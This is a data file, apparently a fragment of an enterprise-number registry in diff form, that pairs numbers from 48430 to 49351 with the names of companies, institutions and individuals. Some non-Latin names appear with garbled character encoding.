+48430 Pro-Digital Projetos Eletronicos Ltda
+48431 NetStable, LLC
+48432 广州程星通信科技有é™å…¬å¸ï¼ˆGuangzhou Starway Communication Technology Co., LTD)
+48433 Wuxi Broadlan Telecommunication Technology Co.,Ltd
+48434 praclear
+48435 Wuxi Neihua Network Technology Co.,(NHN)
+48436 Siemens Energy AG - Transmission
+48437 Ikano Bank
+48438 Trätransporter i Norrbotten AB
+48439 Schönfelder Papierfabrik GmbH
+48440 2mt Software GmbH
+48441 Gridco Systems
+48442 Frankonia Handels GmbH & Co. KG
+48443 Verticali LLC
+48444 Stefano Canepa
+48445 Digital Security
+48446 Slottstornet AB
+48447 Verizon Labs
+48448 Bricata, LLC
+48449 Harvard Computer Society
+48450 Timmerkörarna i Norrland AB
+48451 Fuzhou In&Pro Information Technology Co., Ltd
+48452 ANF Certification Authority USA, Corp.
+48453 Riddarhusförvaltningen Fr Emilie Pipers Donationsfond
+48454 Riddarhuset O G Paulis Donationsfond
+48455 Linköpings Skogstjänst AB
+48456 Wasatornet AB
+48457 KaX Pvt. Ltd
+48458 Otsuka America Pharmaceutical, Inc.
+48459 Condast GmbH
+48460 Rotronic AG
+48461 StudentBridge LLC
+48462 Insight media Devlopment.
+48463 Fitworks Co., Ltd.
+48464 ANF AC Panamá, S.R.L.
+48465 Gestión Tributaria Territorial, S. A.
+48466 Chambre des Députés Luxembourg
+48467 Imperial College Healthcare
+48468 Lianozovo Electromechanical Plant
+48469 Cancer Care Specialists
+48470 Örnfrakt
+48471 British Amateur Television Club
+48472 swissEmbedded GmbH
+48473 mh2net, z.s.
+48474 Klynt Industries
+48475 SIA Rigas udens
+48476 Zen Swipe, Inc.
+48477 Nuix North America Inc
+48478 Hainan Goodstart Network Technology Co. Ltd.
+48479 Sunshine Sugar
+48480 finally safe GmbH
+48481 Falu Energi & Vatten AB
+48482 Linaro Ltd
+48483 RecordSure Ltd.
+48484 topsystem Systemhaus GmbH
+48485 ITEC Training Solutions Ltd
+48486 Salzbrenner Media
+48487 Veropharm
+48488 ACS International Schools Ltd.
+48489 ANF AC Chile, Ltda.
+48490 Bundesministerium fuer Landwirtschaft, Regionen und Tourismus
+48491 Strategic Information Technology Ltd.
+48492 Zequenze
+48493 Naltagrett
+48494 Lockstep Technologies
+48495 Alm. Brand A/S
+48496 LOTS Group AB
+48497 VIDA Energi AB
+48498 VIDA Skog AB
+48499 inovex GmbH
+48500 Ventilatorenfabrik Oelde GmbH
+48501 Wilmers Messtechnik GmbH
+48502 Startups, Inc.
+48503 Magrathea Laboratories e.V.
+48504 Pulselight Inc
+48505 AI2Co
+48506 Tunnel Radio of America
+48507 o-byte.com GmbH & Co. KG
+48508 Trapeze-Elgeba GmbH
+48509 add solution GmbH
+48510 Grand Rapids Adventist Academy
+48511 ApeComm Sdn. Bhd.
+48512 Inspur Group Co.,Ltd.
+48513 Owari Precision Products (India) Pvt.Ltd.
+48514 Warkdag AS
+48515 PACE POWER SYSTEMS PVT LTD
+48516 Duerr IT Service GmbH
+48517 Locatel Flotas, S.L.
+48518 BYOM Electronics LLC
+48519 St. Bernards Medical Center
+48520 ADISTA SAS
+48521 nCentric Europe BVBA
+48522 Elisa Eesti AS
+48523 ALTEC S.p.A.
+48524 Ping Communication (Switzerland) AG
+48525 SnapServ Mathis
+48526 Twilio, inc.
+48527 LEGO System A/S
+48528 IT Niedersachsen
+48529 MediaSift Ltd
+48530 OOO "TIUS"
+48531 FIS
+48532 Inlandsfrakt AB
+48533 Sony Mobile Communications AB
+48534 FIT Networks
+48535 Blue Ridge Concepts, Inc.
+48536 Technische Hochschule Aschaffenburg
+48537 Defense Information Systems Agency
+48538 ServerCentral
+48539 ED&F Man Capital Markets
+48540 ED&F Man Capital Markets
+48541 BWAY S.r.l.
+48542 Chromatic Inc.
+48543 Procesar, S.A de C.V
+48544 TV-Teknik Jonas Hermansson
+48545 Triona AB
+48546 Hans Andersson Recycling AB
+48547 Public Technical Identifiers
+48548 Harbin Yantuo Science and Technology Development Co.,Ltd
+48549 广州阜月软件有é™å…¬å¸ (Guangzhou fuyue Software Co. Ltd.)
+48550 Beijing Redlink Information Technology Co., Ltd.
+48551 Profound Solutions
+48552 ShangHai 30wish information security Limited
+48553 Duet Asset Management Ltd
+48554 Church Pension Group Services Corporation
+48555 STORMATRIX, Inc.
+48556 bellaflora Gartencenter GmbH
+48557 OOO LOYALTY PROGRAM Koshelek
+48558 Trinity Grammar School
+48559 Rosenberger Technologies Co., Ltd.
+48560 Almnäs Bruk AB
+48561 Ahlstrom-Munksjö AB
+48562 KENDRIS AG
+48563 ANEXIA Internetdienstleistungs GmbH
+48564 Autoland Deutschland Inh. Wilfried Wilhelm Anclam, e. K.
+48565 NEUBERT-IT Inh. Mario Neubert
+48566 Guangzhou Shirui Electronics Co., Ltd.
+48567 LINET Group SE
+48568 First Orion Corp.
+48569 Midland States Bancorp, Inc
+48570 sn3rd llc
+48571 Istanbul Teknik Universitesi (ITU)
+48572 Vanti
+48573 C-Hack
+48574 Quanergy Systems, Inc
+48575 Experts Enterprises.
+48576 GTBilt
+48577 Fail-Safe IT Solutions Oy
+48578 Shenzhen KSTAR Science and Technology Co., Ltd
+48579 BOMAR, spol. s r.o.
+48580 Continuity Logic LLC
+48581 Changhong Network Tech.
+48582 GSK #11 Gradskiy
+48583 HTWNET Information Technology Services
+48584 CineLab
+48585 jiangsu broadcasting cable information network corporation limited suzhou branch
+48586 KUNDOXT GmbH
+48587 Ring2 Communications LLC
+48588 Capgemini Next Generation Platform
+48589 Tallink Grupp AS
+48590 Peñasco Valley Telephone Cooperative, Inc.
+48591 Borda Technology
+48592 Capetrust
+48593 ECRA SRL
+48594 University Cancer Institute
+48595 ENKON Information Systems Inc.
+48596 SKOGsam ab
+48597 Administrative Computer Consultants Co.
+48598 NetGuardians
+48599 Zodiac Telecommunications South Africa
+48600 Cyber Advanced Technology, Inc.
+48601 Syadem
+48602 Pacific Hematology Oncology Associates
+48603 Systemk
+48604 ShenZhen SandStone Data Technology Co.,Ltd
+48605 PSZ
+48606 ADVENS
+48607 Navkonzept GmbH
+48608 PT. Waruna Nusa Sentana
+48609 Averbis GmbH
+48610 Net2Edge Limited
+48611 Locher & Christ GmbH
+48612 R.WEISS GROUP
+48613 DTV Innovations, LLC
+48614 Infraxis AG
+48615 Cancer Care Associates of York
+48616 AWGES
+48617 binsec GmbH
+48618 revservrd
+48619 Stream Technologies Ltd
+48620 BE INVEST International S.A.
+48621 Dueton Systems s.r.o.
+48622 Innovate DC S.A.C.
+48623 Ingarps Trävaror AB
+48624 Johnson Earls
+48625 Setra Group AB
+48626 Duo Security
+48627 CounterCraft
+48628 Whanganui High School
+48629 ID-ware Deutschland GmbH
+48630 DOCAPOST
+48631 AlkSys
+48632 Carousel Industries of North America
+48633 IT-Consulting Gschwendt
+48634 BK TELECOMUNICAÇÕES LTDA ME
+48635 Riverside County Information Technology
+48636 ewell
+48637 COLEGIO DE NOTARIOS DE LIMA
+48638 DOCTORS CANCER CENTER
+48639 Platformatics
+48640 Electronic Technology Inc.
+48641 Det Norske Studentersamfund
+48642 Wangarden
+48643 Graytech Computers
+48644 UNION NATIONALE DES MAISONS FAMILIALES RURALES D'EDUCATION et D'ORIENTATION
+48645 Haldor Topsoe
+48646 Aralink Tecnologias de la Informacion SL
+48647 Jan Vana
+48648 New Mexico Oncology Hematology Center, Ltd
+48649 Practical Design Group, LLC
+48650 MAILEVA
+48651 Vint
+48652 Lokithor Sécurité
+48653 HUGO BOSS AG
+48654 P3KI GmbH
+48655 Sky Brasil
+48656 HighJump Software Inc.
+48657 Tobias Tilgner
+48658 Martin Balint
+48659 Tecnotel Servizi Tecnologici SRL
+48660 Netz-Weise
+48661 Dialamerica
+48662 bDigital Indonesia
+48663 T38Fax Incorporated
+48664 eth2 networks
+48665 Telcom d.o.o.
+48666 24-7 Entertainment ApS
+48667 ibes AG
+48668 Czech University of Life Sciences Prague (CULS)
+48669 WIPO
+48670 Nuco Technologies LTD (Host-IT Internet Solutions)
+48671 Giax GmbH
+48672 Symbotic LLC
+48673 iCONX solutions
+48674 Jano
+48675 Heerscharen.Net
+48676 Zaba Industries
+48677 SEPSA
+48678 RNAV CDG
+48679 dataWeapons
+48680 abas-usa
+48681 Guangzhou Caipin Communication Technology Co., Ltd.
+48682 NETSTARS CO., LTD.
+48683 Elastifile
+48684 32lou
+48685 IXI Technology
+48686 Pittel+Brausewetter Holding GmbH
+48687 John Kenyon
+48688 Ventacity Systems, Inc.
+48689 Novar GmbH
+48690 Teltonika
+48691 OPNT B.V.
+48692 ASP AG
+48693 Sistemas Electrónicos de Potencia, S.A.
+48694 Vision4ce Limited
+48695 Occitaline
+48696 infofab GmbH
+48697 Threat Stack, Inc.
+48698 McHenry Savings Bank
+48699 Reversing Labs
+48700 SwipeSense
+48701 Steward Health Care System
+48702 ReversingLabs US Inc.
+48703 A.T.I.B. Srl
+48704 Center of Radiological Medical Physics, USTC
+48705 Griffith City Council
+48706 Beijing Feifanshi Technology Co., Ltd.
+48707 häwa GmbH
+48708 Rolls-Royce Control Systems
+48709 DevTeam SRL
+48710 Gluu, Inc.
+48711 UBIVELOX Inc.
+48712 van-Eerd.net
+48713 DWA Internet Solutions
+48714 LEMZ R&P Corp.
+48715 LEMZ R&P Corp.
+48716 Ceredigion County Council
+48717 Q2 Solutions
+48718 United Power Inc
+48719 Digitalor Tech Inc
+48720 New Mexico Oncology Hematology Consultants, Ltd
+48721 Chastain-Skillman, Inc.
+48722 PG Services Sarl
+48723 Institute for Family Health
+48724 cCARE:California Cancer Associates for Research and Excellence
+48725 PayNet, Inc.
+48726 TAP Portugal
+48727 COTA Inc.
+48728 CircleX
+48729 CSRA
+48730 HostDir
+48731 Home Branch
+48732 Fundação Educacional Encosta Inferior do Nordeste
+48733 Excellium Services S.A.
+48734 IOxOS Technologies SA
+48735 CAE Engineering Kft.
+48736 INX International Ink Co.
+48737 EasyNMS
+48738 Littlepay Pty Ltd
+48739 æ­å·žç”µå­ç§‘技大学 (Hangzhou University of Electronic Science and Technology)
+48740 Clanjor Prods.
+48741 Zitius Service Delivery AB
+48742 RetailPact Group
+48743 Cepheid
+48744 MiraCosta Community College District
+48745 JSC Team-R
+48746 Fondation Officielle de la Jeunesse
+48747 Meep Consulting SPRL
+48748 Ali
+48749 Cavisson Systems Inc.
+48750 Traiana Inc.
+48751 Pace IT Systems
+48752 Bergs Timber Production AB
+48753 ES-prom
+48754 EnShape GmbH
+48755 Armagard Ltd
+48756 Skogssällskapets Förvaltning AB
+48757 kubos.org
+48758 3City Electronics Sp. z o.o.
+48759 Le EcoSystems Technology Private Limited
+48760 Envall Tech
+48761 SEYR
+48762 AiEmTi LLC
+48763 VoltDB
+48764 HeartVista, Inc.
+48765 1705 Purdue
+48766 Sawtelle & Palms
+48767 SDIS DE SAONE ET LOIRE
+48768 DeviceRadio AB
+48769 Process Automation Solutions GmbH
+48770 Tosibox Oy
+48771 Diebold Nixdorf
+48772 SSP ZhilComResurs
+48773 NETRONIK spolka z o.o.
+48774 FlexiLogix
+48775 TELSY SpA
+48776 Skellefteå Kraft AB
+48777 Globalways AG
+48778 Dana-Farber Community Cancer Care
+48779 Michel Reynaud Joyeux
+48780 Trustonic
+48781 blobule.com
+48782 Moelven Skog AB
+48783 STG, Inc.
+48784 European Securities and Markets Authority
+48785 ARGETURK
+48786 heiland.io
+48787 linudata GmbH
+48788 Bohlins Träexport AB
+48789 Fielmann AG
+48790 OOO KIT
+48791 H. Elderson
+48792 SCC Technology GmbH
+48793 morgiij, inc.
+48794 binnj, inc.
+48795 Comm5 Tecnologia Ltda
+48796 Tennessee Oncology, PLLC
+48797 Inspur-Cisco Networking Technology Co., Ltd.
+48798 AKIPS Pty Ltd
+48799 BiZone LLC
+48800 CSNS
+48801 CAF Signalling
+48802 Panavision International, L.P.
+48803 VTID
+48804 Univef LLC
+48805 Shadrinsk State Pedagogical University
+48806 uznm
+48807 Post Holdings
+48808 Thales Services France ATHENA (formerly 'THALES SERVICES LAB CSK')
+48809 medi-x-Thomas Kadlubowski
+48810 21st Century Onco EKWR
+48811 BADU Networks Inc.
+48812 Nerotech Solutions
+48813 TechnoBox Tecnologia LTDA
+48814 Max Planck Institute for Polymer Research
+48815 ProsiebenSat.1 Digital GmbH
+48816 Boxholms Skogar AB
+48817 Rödins Trä AB
+48818 WELLTRON ELECTRONICS CO., LTD.
+48819 Techno Mathematical
+48820 VoiSmart S.r.l.
+48821 Haroutioun Shahinian, MD, PA
+48822 Interfax - Corporate Information Disclosure Center LLC
+48823 MAIF
+48824 Ponce Hematology Oncology
+48825 Smurfit Kappa Kraftliner Piteå Aktiebolag
+48826 Gabriel Domenech 21st Century Oncology
+48827 KGSS
+48828 Bollore
+48829 INSYS Therapeutics, Inc.
+48830 Green Charge Networks, LLC
+48831 Clarive Software
+48832 Assense Software Solutions
+48833 Veas Inc.
+48834 WS Technology GmbH
+48835 Pico Systems Co., Ltd.
+48836 Evada Technology (Shenzhen) Co.,Ltd
+48837 FUJIAN NEBULA BIG DATA APPLICATION SERVICE CO.,LTD
+48838 Nesodden Kommune
+48839 Sömlös AB
+48840 stij.net
+48841 LevelUP Solutions Pty Ltd
+48842 Spiral Software Ltd
+48843 LBS Bayerische Landesbausparkasse
+48844 Unmanned Innovation D.B.A Airware
+48845 August Schell
+48846 WE
+48847 Reputronix
+48848 FORTUNA GAME a.s.
+48849 Marcus Seidel Beteiligungs GmbH Businessangels.de
+48850 Logi-Concept Computers
+48851 Flaxen Consulting
+48852 SL Global Service
+48853 Jura Elektroapparate AG
+48854 SherWeb Inc.
+48855 Domsjö Fiber AB
+48856 Lewis-Sigler Institute
+48857 Hawaii Cancer Care
+48858 Hope Health Center
+48859 Nevada National Security Site
+48860 “Metinvest Eurasia†LLC
+48861 Aysima BiliÅŸim Teknolojileri
+48862 Alexson Solutions
+48863 HM Wallace, Inc.
+48864 Serit Skagerak AS
+48865 Sava Turizem
+48866 Enav spa
+48867 Questa Computing Ltd.
+48868 Bureau de coopération interuniversitaire
+48869 Synergy Embedded
+48870 ECHONET Consortium
+48871 XSky(beijing) Data Technology Co.,Ltd.
+48872 PT. Cipta Piranti Sejahtera
+48873 Guangzhou Rojao Technology Co., Ltd
+48874 DongHui Group
+48875 Fast National University
+48876 Fatbat
+48877 thomas beteiligungen GmbH
+48878 TOP TECHNOLOGIES CONSULTING GmbH
+48879 Centre Patronal
+48880 The Sigma Financial Group Limited
+48881 MTRLC LLC
+48882 L-TECH Corp. Networks
+48883 Universidad de Murcia
+48884 Skyriver
+48885 Tsuzuki Denki Co. Ltd.
+48886 NPF Sibpeleng Ltd.
+48887 东方网力科技股份有é™å…¬å¸å—京研å‘中心 (Oriental Network Technology Co., Ltd. Nanjing R & D Center)
+48888 SSLINK TECHNOLOGY (BEIJING) CO., LTD.
+48889 SilicoWolf (Pty) Ltd.
+48890 Huels Unternehmensgruppe
+48891 EVN AG
+48892 Administration des services de secours
+48893 Bornemann AG
+48894 Banco BPI, SA
+48895 Netcompany A/S
+48896 Ironwood Physicians, PC
+48897 /ETC - Martin Misuth
+48898 Software Freedom Law Center
+48899 VoiceOverNet
+48900 Guaranty Bank and Trust Company
+48901 DOTSENSEI LTD
+48902 Shenzhen Puduan Technology Co., Ltd.
+48903 Qualvision
+48904 AB Gustaf Kähr
+48905 Falan Energiflis AB
+48906 EVRY Sweden AB
+48907 Ter Hell & Co. GmbH
+48908 girtech srl
+48909 SDEL Contrôle Commande
+48910 Rheinische Fachhochschule Köln gGmbH
+48911 DS Norden A/S
+48912 Thismonkey IT Pty. Ltd.
+48913 Haussli
+48914 Conductor Inc.
+48915 SPG International, LLC
+48916 ITS-Network
+48917 CPI Security
+48918 Dothan Hematology & Oncology
+48919 Bancroft
+48920 Identos Inc.
+48921 Mercer Bucks Hematology Oncology
+48922 Thales Australia
+48923 icomer
+48924 HIST
+48925 Invite Services
+48926 OOO Tsentr Sistem Svyazi
+48927 Circle B
+48928 深圳市视游互动科技有é™å…¬å¸ (Shenzhen City videoseeing Interactive Technology Co., Ltd)
+48929 DBLabs
+48930 IFRASS
+48931 Assecor GmbH
+48932 Secure Systems & Technologies
+48933 BIT
+48934 Vevida
+48935 PumpCo Ltd
+48936 OMEGA Ltd
+48937 Polyconseil SAS
+48938 Denys Berkovskyy
+48939 Vevida
+48940 Controllis
+48941 Schleupen AG
+48942 Synaptics Inc
+48943 Ampetronic Ltd
+48944 Lietuvos vyriausiojo archyvaro tarnyba
+48945 Rundvirke Skog AB
+48946 556081-8782
+48947 ATMC Automação e Comunicação Ltda
+48948 TCPixel, LLC
+48949 At4wireless
+48950 LogDNA
+48951 UNION TANK Eckstein GmbH & Co. KG
+48952 ATA Timber AB
+48953 UbuntuNet Alliance
+48954 ieBep.cn
+48955 Schoeller Technocell GmbH & Co KG
+48956 T4MGroup.com
+48957 awaii.net
+48958 Trinity Industries, Inc.
+48959 Cruise Engineering Management Consulting
+48960 SoftwareONE AG
+48961 struktur AG
+48962 Unilogic Networks B.V.
+48963 Gällö Skog AB
+48964 VŠĮ "Šviesos kūgiai"
+48965 eMudhra Limited
+48966 Nils Kaczenski
+48967 ZincFive, Inc.
+48968 akquinet AG
+48969 TK-Schulsoftware GmbH & Co. KG
+48970 Navipoint Genomics LLC
+48971 PSYSTEME GmbH
+48972 Soulssoft
+48973 Menzel IT Services
+48974 Arte y Calidad en Papel,Artepapel,S.A.
+48975 Ulmart RSK Ltd.
+48976 MURATA SYSTEMS,LTD.
+48977 Corsham Technologies, LLC
+48978 Sawwave
+48979 å¸ä¿¡ç§‘技股份有é™å…¬å¸ (DIXIN Technology Co., Ltd)
+48980 TCL-IMAX
+48981 Eigenexus Incorporated
+48982 Navitel s.r.o.
+48983 Open Consent Group
+48984 Athene Lebensversicherung AG
+48985 Netresec AB
+48986 LLC "INVEST-M"
+48987 SkyDNS LLC
+48988 Streamonix Ltd
+48989 Ture Johanssons Trävaru AB
+48990 Intesi Group S.p.A.
+48991 Aequitas Software GmbH & Co. KG
+48992 AEF e.V.
+48993 MKB Webhoster Limited
+48994 AGELEC
+48995 Lumeta Corporation
+48996 HOPE Cancer Center of East Texas
+48997 Colorado Blood Cancer Institute
+48998 Colorado Blood Cancer Institute
+48999 MoraMedSoft
+49000 "Zheldorconsulting", Ltd.
+49001 KHADAMAT NOVIN DADEAVARZI SADAD
+49002 ULTRA SA
+49003 Gen Re
+49004 EGate Networks Inc.
+49005 A&H Software House, Inc.
+49006 DHARA CONSULTING GROUP, INC
+49007 YAMABUN ELECTRONICS CO., LTD.
+49008 Derome Timber AB
+49009 THE PUBLIC AUTHORITY FOR CIVIL INFORMATION
+49010 Rayzon Technologies AG
+49011 Tanium Inc.
+49012 Indasys
+49013 Choice Cancer Care
+49014 Sörmlands Printing Solutions AB
+49015 HEXBITS TECNOLOGIA LTDA
+49016 Build Informed GmbH
+49017 Yukoo Limited
+49018 Assmann Télécom
+49019 ExaScaler Inc.
+49020 Exaphotons Co., ltd.
+49021 Saturn Imaging Inc.
+49022 China Moblie(Suzhou) Software Technology Co,Ltd
+49023 Universitätsbibliothek Johann Christian Senckenberg
+49024 Deutsche Gesellschaft zum Bau und Betrieb von Endlagern fuer Abfallstoffe mbH
+49025 ISPAS AS
+49026 DEG - Deutsche Investitions- und Entwicklungsgesellschaft mbH
+49027 Berner Trading Holding GmbH
+49028 Värmevärden AB
+49029 Seven Solutions S.L
+49030 GST
+49031 Walhalla u. Praetoria Verlag GmbH & Co. KG
+49032 Telecom North America Inc.
+49033 Uptake Technologies, Inc.
+49034 PROFEN ILETISIM
+49035 Seattle Radiologists APC
+49036 EM Group
+49037 BrByte
+49038 Klinikum Dortmund
+49039 Teslonix Inc
+49040 Pharm-IT GmbH
+49041 Betc digital
+49042 Blue Pillar
+49043 TeamViewer GmbH
+49044 NewPace Communications Inc
+49045 JoyMoe Interactive Entertainment Limited
+49046 Faria Education Group Limited
+49047 Ville de Québec
+49048 AFONWeb
+49049 Oster Consulting
+49050 PRINT SOLUTION
+49051 IKEM AD
+49052 Trätåg AB
+49053 Cesare Ceneri
+49054 Koenigin-Luise-Stiftung
+49055 AOIFES
+49056 4SH FRANCE
+49057 invenio GmbH Engineering Services
+49058 Glookast LLC
+49059 Cronoburn
+49060 Martinsons SÃ¥g Aktiebolag
+49061 Agree Technoloy
+49062 William Robinson
+49063 ALTYS TECHNOLOGIES
+49064 Astyx GmbH Communication & Sensors
+49065 Gruppo Servizi Informatici s.r.l.
+49066 Capesesp - Caixa de Assistencia e Previdencia
+49067 Beaufort - Jasper Water & Sewer Authority
+49068 SGCA-THD
+49069 ICT Berufsbildungscenter AG
+49070 TELEFONICA DE ESPAÑA SAU
+49071 D2slink Systems
+49072 AIG Wilton
+49073 Cutler Group, LP
+49074 Blue Cross Blue Shield of North Dakota
+49075 Samlex America Inc
+49076 Itawamba Community College
+49077 JGA Skog AB
+49078 Skånetimmer Bioenergi AB
+49079 Skånetimmer AB
+49080 Allianz pojistovna, a.s.
+49081 Lógica Sistemas de Informação LTDA-ME
+49082 Modulation Index, LLC
+49083 Avon Maitland District School Board
+49084 BrByte
+49085 DETEC
+49086 CORUSCANT INVESTMENT GROUP AS
+49087 Waterside Consulting, Inc
+49088 D.S. Group Ltd.
+49089 ESKtrade UG (haftungsbeschraenkt)
+49090 My-MTC.NET
+49091 Eastern Connecticut Hematology and Oncology
+49092 One Call Away, Inc.
+49093 Xi'an HISU Multimedia Technology Co., Ltd.q
+49094 FASTWEL Group Co. Ltd.
+49095 Swedish National Agency for Education
+49096 KPCS CZ
+49097 EVTEC AG
+49098 NP ZAO "REKO-VEK"
+49099 GBLabs Ltd.
+49100 ce - corporate education GmbH
+49101 EBS BrokerTec
+49102 INEL TEHNIK
+49103 AMD
+49104 Invenia AS
+49105 tetrardus.net
+49106 Hindog.com
+49107 Elecronic Applications, Inc.
+49108 Gustafsborgs Säteri AB
+49109 Rörvik Skog
+49110 Millenium Internet Exchange
+49111 Tigera, Inc.
+49112 Advasol
+49113 ITooLabs
+49114 simplicity wins
+49115 GreenAnt
+49116 天津è“天科技股份有é™å…¬å¸ (Tianjin Blue Sky Technology Co., Ltd)
+49117 Micronet Communications Inc.
+49118 Utilex
+49119 Setra Trävaror
+49120 pureLiFi Limited
+49121 Legislative Assembly of British Columbia
+49122 Antheus Telecom Ltd
+49123 Turbonomic, Inc.
+49124 Hematology Oncology Associates Of Brooklyn
+49125 Xoriah Solutions Inc.
+49126 Sudo Security Group, Inc
+49127 Musée Guérin
+49128 PromKomplektServis
+49129 finke Das Erlebnis-Einrichten GmbH & Co. KG
+49130 access fintech
+49131 OWLCO
+49132 Globility Limited
+49133 Stiegele Datensysteme GmbH
+49134 BKS Systems, Inc.
+49135 Carbon Soft Ltd
+49136 ALGcom
+49137 Ljusnans Virkesfrakt AB
+49138 bjut, Inc.
+49139 First State Investments (UK) Limited
+49140 exands
+49141 VAG-Armaturen GmbH
+49142 Gemalto AG Switzerland
+49143 cryptosource GmbH
+49144 AB Högland Såg & Hyvleri
+49145 IHK Nürnberg für Mittelfranken
+49146 bpost banque SA - bpost bank NV
+49147 Bexen Cardio
+49148 Civis Grand Casino Kft.
+49149 Deutsche Gesellschaft zum Bau und Betrieb von Endlagern fuer Abfallstoffe mbH (DBE)
+49150 Vertiv Co
+49151 California Credit Union
+49152 BlueArchive
+49153 Stratos
+49154 Nordic Automation Systems
+49155 jusst technologies GmbH
+49156 Canham
+49157 Sylpheo
+49158 Cancer Center of Southern Califonria/Sarcoma Oncology Research Center
+49159 Milai Digital
+49160 Forssjö Pellets AB
+49161 CEIA S.p.A.
+49162 Team GeoLook
+49163 NES Co.,Ltd.
+49164 Japan Novel Corporation
+49165 JUNI Software SAS
+49166 Kirale Technologies S.L.
+49167 Terpotiz - Privat
+49168 Clear Guide Medical Inc.
+49169 Zhejiang Chuangyi Optoelectronics CO.,LTD.
+49170 Dhaawat Web Services
+49171 UCS Technology Services
+49172 Eurowings Aviation GmbH
+49173 PTV Group
+49174 Bogadi
+49175 Galapagos Linux Foundation
+49176 CCMI
+49177 Capital Vision Services, LLC
+49178 End 2 End Technologies, LLC
+49179 xmachina GmbH
+49180 hoge.se
+49181 MAGFest
+49182 Flughafen Köln/Bonn GmbH
+49183 Codeacious Pty Ltd
+49184 IT PRO Consulting and Training
+49185 Quasar EDV-Informationsges. mbH
+49186 Cinedom Kinobetriebe GmbH
+49187 Wausau Supply Co
+49188 O3cv
+49189 LDA Technologies
+49190 Mothic Technologies LLC
+49191 LCA Systems
+49192 CM IT Certification Authority
+49193 Archivio Digitale - Casa Mulas
+49194 multipurpose center of Irkutsk region
+49195 Deutsche Messe
+49196 First Solutions Sistemas de Informação S.A.
+49197 Orange System Group, CJSC
+49198 Domination
+49199 WONDERS INFORMATION CO., LTD
+49200 Vasamed, Inc
+49201 ANF Autoridad de Certificación, S.L.
+49202 S.C. Mindsentry S.R.L.
+49203 Dirk Gerbig, EDV & IT-Dienstleistungen
+49204 Foehammer Games LLC
+49205 CERMOB TECNOLOGIA LTDA
+49206 City of Tempe
+49207 arizvi
+49208 Jackie's Wholesale Nurseries Pty Ltd
+49209 easynetworks
+49210 CR0BAR Limited
+49211 DATAGROUP Operate IT GmbH (formerly 'HanseCom Gesellschaft für Informations- und Kommunikationsdienstleistungen mbH')
+49212 Oleg Dubovskoy
+49213 Nextcloud
+49214 Monzo Bank Limited
+49215 Emma, Inc.
+49216 Corigine, Inc.
+49217 Hypherion
+49218 Nelkinda Software Craft Private Limited
+49219 LANI GmbH & Co. KG
+49220 Tiger Management L.L.C.
+49221 IACPublishing
+49222 KOMDAT
+49223 ZOOM SERVER
+49224 PikTime Systems Sp. z o.o.
+49225 5micron GmbH
+49226 Patriot's, LLC
+49227 GGR Bryansk
+49228 The unbelievable Machine Company GmbH
+49229 Bergkvist Siljan Skog AB (formerly 'Siljan Skog AB')
+49230 Enginuity Communications, Inc.
+49231 Guest-tek Interactive Entertainment Ltd
+49232 ChemAxon Kft
+49233 Liberty Bank
+49234 Wyatt Miler
+49235 ninIRC Network
+49236 appway
+49237 GAU MFC IO
+49238 VAV UNION Kft.
+49239 MIBESIS D.O.O.
+49240 AK-Funktechnik GmbH
+49241 uTech Tecnologia
+49242 Steuerbüro Pfeiffer
+49243 Dailymotion
+49244 Söderenergi AB
+49245 The University of Kansas Health System
+49246 Initium Novum LLC
+49247 Genesis Cancer Center
+49248 Leipziger Versorgungs- und Verkehrsgesellschaft mbH
+49249 GBSD Technologies, Inc. (GBSDTech)
+49250 Robiquity Limited
+49251 Blue Grass Airport
+49252 Cincinnati Bell
+49253 Timrå Kommun
+49254 Factory Systemes
+49255 econ solutions GmbH
+49256 Weatherford International
+49257 ECSC Group plc
+49258 DR-ARP
+49259 NINTEGRATE, INC.
+49260 Bims Laboratories
+49261 Contact Wave Limited
+49262 Scientific RT GmbH
+49263 Connect and Exchange
+49264 Benelec Pty Ltd
+49265 Kivu GmbH
+49266 Ashenden Capital
+49267 Government of Western Australia, Department of Finance
+49268 Profamilia Bundesverband
+49269 Franck d.d.
+49270 Locata Corporation Pty. Ltd.
+49271 Wireless Technology, Inc.
+49272 AREA S.p.A.
+49273 BIZMEDTECH
+49274 Belgian Mobile ID
+49275 Royal Society of Chemistry
+49276 Integramed Fertility
+49277 Stafford County Public Schools
+49278 Ayasdi, Inc.
+49279 Tesla
+49280 Trapper
+49281 Plexonics Technologies Pvt. Ltd.
+49282 medimaps
+49283 Credit Union of Colorado
+49284 LankaClear (Pvt) Ltd.
+49285 Lightbend Inc
+49286 IMOTIONS
+49287 Millson Custom Solutions
+49288 Bitoptimum
+49289 Praniskom Solutions Private Limited
+49290 consultec sas di Sartor P. & c.
+49291 Access Denied bvba
+49292 Biblioteca - Casa Mulas
+49293 Nanjing Juming Network technology Co.,Ltd
+49294 Hargs Bruk AB
+49295 Direction du numerique UPPA
+49296 Fraunhofer MEVIS
+49297 Avicenna Health Group Inc
+49298 The Port Authority of NY & NJ
+49299 Truecom Telesoft Private Limited
+49300 The New Tricks
+49301 BCS Information Systems Pte Ltd
+49302 Dart Container
+49303 Flexmedia Ind. e Com. de Tecnologia Ltda.
+49304 Tapoustry
+49305 Neural Technologies
+49306 AUM Cardiovascular Inc
+49307 Secturion Systems Inc.
+49308 Airwave Brasil Tecnologia
+49309 VIDA AB
+49310 CELLULAR GmbH
+49311 Asteas Technologies GmbH & Co KG
+49312 MichaelSchneiderKoeln
+49313 Isaac Johnson Organization
+49314 ADFweb.com
+49315 Sealite PTY LTD
+49316 SixGor
+49317 ICT Star Group Myanmar Co., Ltd.
+49318 Desert Water Agency
+49319 Credit Bank of Moscow PJSC
+49320 Wallnäs AB
+49321 Vevy Europe S.p.A.
+49322 Stichting Haaglanden Medisch Centrum
+49323 Dynamic Consulting International Telecommunications Spain, S. L.
+49324 mobex communication GmbH
+49325 EVER SMART TECHNOLOGIES SL
+49326 Clyde Bergemann Power Group International Ltd
+49327 Frivillighetshuset
+49328 Praim srl
+49329 SysEleven GmbH
+49330 A.B.G Systems Ltd Israel
+49331 Johannishus godsflrvaltning AB
+49332 AppWorks
+49333 Brighthouse Financial Inc.
+49334 Axon-Ar
+49335 ROTOK
+49336 DHWS
+49337 KommunalBIT AöR
+49338 ASTEN
+49339 GAYA
+49340 Beijing Fusion Co., Ltd
+49341 Ayuntamiento de Cartagena
+49342 Unser Heimatbäcker GmbH
+49343 HaloDoc.com
+49344 IX Layers, Inc.
+49345 KVaibhav Personal CA
+49346 Samvardhana Motherson Innovative Autosystems B.V. & Co. KG
+49347 Healthjump
+49348 Yapku Limited
+49349 BCDVideo
+49350 VGCIT, Inc.
+49351 STIVCX
